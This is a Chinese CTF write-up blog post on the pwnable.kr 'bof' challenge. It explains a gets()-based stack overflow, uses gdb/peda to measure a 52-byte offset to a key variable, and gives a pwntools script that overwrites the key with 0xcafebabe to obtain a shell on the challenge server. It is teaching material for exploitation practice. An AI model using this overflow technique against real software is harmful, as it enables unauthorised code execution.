pwnable 笔记 Toddler's Bottle - bof

考察缓存区溢出

bof5

题目源码

bof

题目分析

func()中有一个长度为32的字符串数组overflow,在调用gets()时由于没有检查字符串长度,导致缓冲区溢出,超过32字节的数据将覆盖内存中的其他数据。随后比较key0xcafebabe,相等的话弹出sh

解题思路

利用缓存区溢出,将key的值覆写为0xcafebabe

解题过程

首先需要知道变量overflowkey存储在内存的什么位置,确定缓存区溢出发生的位置。将bof程序下载到本地,用gdb打开,开始调试 (顺便推荐gdb插件peda)

$ gdb ./bof

现在进到了gdb的环境中,先在main()处下一个断点

gdb-peda$ b main
Breakpoint 1 at 0x68d

然后运行程序

gdb-peda$ r

运行起来应该是这个样子
gdb
peda这个插件很赞,可以直观的看到反汇编代码以及各个寄存器的值,还有高亮显示

现在程序停在了刚才下的断点处,单步调试(ni)至call <func>后进入函数(si),一直跟到call <gets>
gets
查看一下栈中的情况

gdb-peda$ x/40xw $esp

stack

当前esp = 0xffffcf50esp中存储的是overflow开始的位置。
即:数组overflow0xffffcf6c开始,长度为32,到0xffffcf6c + 32 = 0xffffcf8c结束

从上图中还可以发现地址0xffffcfa0中存储的就是key的初始值0xdeafbeef

现在找到了overflowkey的地址,只需要计算一下他们之间的差值,便可以得出总共需要多少字符才可以覆盖到key

0xffffcfa0 - 0xffffcf6c = 52

overflow里面输入52个字节的字符,之后再加上4字节的数据(0xcafebabe),刚好可以覆写key,详见解题脚本
这里要注意一下内存中的小端存储,可以使用pwn库中的p32()函数

解题脚本

#!/usr/bin/python 
from pwn import *

# target = process("./bof")
target = remote("pwnable.kr","9000")

key = 0xcafebabe
payload = "A" * 52 + p32(key)

target.send(payload)
target.interactive()

ok

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

TaQini852

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值